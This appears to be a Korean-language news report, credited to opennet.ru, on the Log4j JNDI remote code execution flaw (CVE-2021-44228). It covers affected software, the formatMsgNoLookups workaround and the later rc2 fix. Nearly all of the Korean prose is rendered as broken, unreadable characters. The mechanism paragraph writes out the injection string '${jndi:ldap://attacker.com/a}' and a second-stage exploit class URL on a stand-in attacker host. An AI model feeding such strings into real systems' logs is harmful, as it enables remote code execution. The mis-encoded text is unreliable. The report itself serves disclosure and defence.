Java ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ก๊น ์ ๊ตฌ์ฑํ๊ธฐ ์ํ ๋๋ฆฌ ์ฌ์ฉ๋๋ ํ๋ ์์ํฌ์ธ Apache Log4j์์ "{jndi:URL}" ํ์์ ํน๋ณํ ํ์ํ๋ ๊ฐ์ด ๋ก๊ทธ์ ๊ธฐ๋ก๋ ๋ ์์ ์ฝ๋๊ฐ ์คํ๋ ์ ์๋๋ก ํ์ฉํ๋ ์ฌ๊ฐํ ์ทจ์ฝ์ ์ด ์๋ณ๋์์ต๋๋ค. ์๋ฅผ ๋ค์ด ์ค๋ฅ ๋ฉ์์ง์ ๋ฌธ์ ๊ฐ ์๋ ๊ฐ์ ํ์ํ๋ ๊ฒฝ์ฐ ๋ฑ ์ธ๋ถ ์์ค์์ ์์ ํ ๊ฐ์ ๊ธฐ๋กํ๋ Java ์ ํ๋ฆฌ์ผ์ด์ ์์ ๊ณต๊ฒฉ์ด ์ํ๋ ์ ์์ต๋๋ค.
Steam, Apple iCloud, Minecraft ํด๋ผ์ด์ธํธ ๋ฐ ์๋ฒ๋ฅผ ํฌํจํ์ฌ Apache Struts, Apache Solr, Apache Druid ๋๋ Apache Flink์ ๊ฐ์ ํ๋ ์์ํฌ๋ฅผ ์ฌ์ฉํ๋ ๊ฑฐ์ ๋ชจ๋ ํ๋ก์ ํธ๊ฐ ์ด ๋ฌธ์ ์ ์ํฅ์ ๋ฐ๋ ๊ฒ์ผ๋ก ๋ํ๋ฌ์ต๋๋ค. ์ด ์ทจ์ฝ์ ์ Fortune์ 65%๊ฐ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฌ์ฉํ๋ ๋๋ต์ ์ธ ์ถ์ฐ์ ๋ฐ๋ฅด๋ฉด Apache Struts ํ๋ ์์ํฌ์ ์น๋ช ์ ์ธ ์ทจ์ฝ์ ์ ์ญ์ฌ๋ฅผ ๋ฐ๋ณตํ๋ฉด์ ๊ธฐ์ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ํ ๋๊ท๋ชจ ๊ณต๊ฒฉ์ ๋ฌผ๊ฒฐ๋ก ์ด์ด์ง ์ ์์ ๊ฒ์ผ๋ก ์์๋ฉ๋๋ค. ์ทจ์ฝํ ์์คํ ์ ์ฐพ๊ธฐ ์ํด ๋คํธ์ํฌ๋ฅผ ๊ฒ์ํ๋ ค๋ ์๋๋ฅผ ํฌํจํ์ฌ 100๊ฐ ํ์ฌ.
์๋ํ๋ ์ต์คํ๋ก์์ด ์ด๋ฏธ ๊ฒ์๋์์ง๋ง ์์ ์ ์ธ ๋ธ๋์น์ ๋ํ ์์ ์ฌํญ์ด ์์ง ์ปดํ์ผ๋์ง ์์๋ค๋ ์ฌ์ค๋ก ์ธํด ๋ฌธ์ ๊ฐ ๋์ฑ ์ ํ๋ฉ๋๋ค. CVE ์๋ณ์๊ฐ ์์ง ํ ๋น๋์ง ์์์ต๋๋ค. ์์ ์ฌํญ์ log4j-2.15.0-rc1 ํ ์คํธ ๋ธ๋์น์๋ง ํฌํจ๋์ด ์์ต๋๋ค. ์ทจ์ฝ์ ์ ์ฐจ๋จํ๊ธฐ ์ํ ํด๊ฒฐ ๋ฐฉ๋ฒ์ผ๋ก log4j2.formatMsgNoLookups ๋งค๊ฐ๋ณ์๋ฅผ true๋ก ์ค์ ํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
๋ฌธ์ ๋ log4j๊ฐ JNDI(Java Naming and Directory Interface) ์ฟผ๋ฆฌ๋ฅผ ์คํํ ์ ์๋ ๋ก๊ทธ ์ถ๋ ฅ ๋ผ์ธ์ ํน์ ๋ง์คํฌ "{}" ์ฒ๋ฆฌ๋ฅผ ์ง์ํ๋ค๋ ์ฌ์ค๋ก ์ธํด ๋ฐ์ํ์ต๋๋ค. ๊ณต๊ฒฉ์ โ${jndi:ldap://attacker.com/a}โ ๋์ฒด ๋ฌธ์์ด์ ์ ๋ฌํ๋ ๊ฒ์ผ๋ก ์์ฝ๋ฉ๋๋ค. ์ฒ๋ฆฌ ์ log4j๋ Java ํด๋์ค ๊ฒฝ๋ก์ ๋ํ LDAP ์์ฒญ์ ๊ณต๊ฒฉ์.com ์๋ฒ๋ก ๋ณด๋ ๋๋ค. . ๊ณต๊ฒฉ์์ ์๋ฒ์์ ๋ฐํ๋ ๊ฒฝ๋ก(์: http://second-stage.attacker.com/Exploit.class)๋ ํ์ฌ ํ๋ก์ธ์ค์ ์ปจํ ์คํธ์์ ๋ก๋ ๋ฐ ์คํ๋๋ฉฐ, ์ด๋ฅผ ํตํด ๊ณต๊ฒฉ์๋ Exploit์์ ์์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค. ํ์ฌ ์์ฉ ํ๋ก๊ทธ๋จ์ ๊ถํ์ ๊ฐ์ง ์์คํ ์ ๋๋ค.
๋ถ๋ก 1: ์ทจ์ฝ์ ์๋ ์๋ณ์ CVE-2021-44228์ด ํ ๋น๋์์ต๋๋ค.
๋ถ๋ก 2: log4j-2.15.0-rc1 ๋ฆด๋ฆฌ์ค์์ ์ถ๊ฐ๋ ๋ณดํธ๋ฅผ ์ฐํํ๋ ๋ฐฉ๋ฒ์ด ํ์ธ๋์์ต๋๋ค. ์ด ์ทจ์ฝ์ ์ ๋ํด ๋์ฑ ์๋ฒฝํ ๋ณดํธ ๊ธฐ๋ฅ์ ๊ฐ์ถ ์๋ก์ด ์
๋ฐ์ดํธ์ธ log4j-2.15.0-rc2๊ฐ ์ ์๋์์ต๋๋ค. ์ฝ๋๋ ํ์์ด ์๋ชป ์ง์ ๋ JNDI URL์ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ ๋น์ ์ ์ข
๋ฃ๊ฐ ๋ฐ์ํ์ง ์๋ ๊ฒ๊ณผ ๊ด๋ จ๋ ๋ณ๊ฒฝ ์ฌํญ์ ๊ฐ์กฐํฉ๋๋ค.
์ถ์ฒ : opennet.ru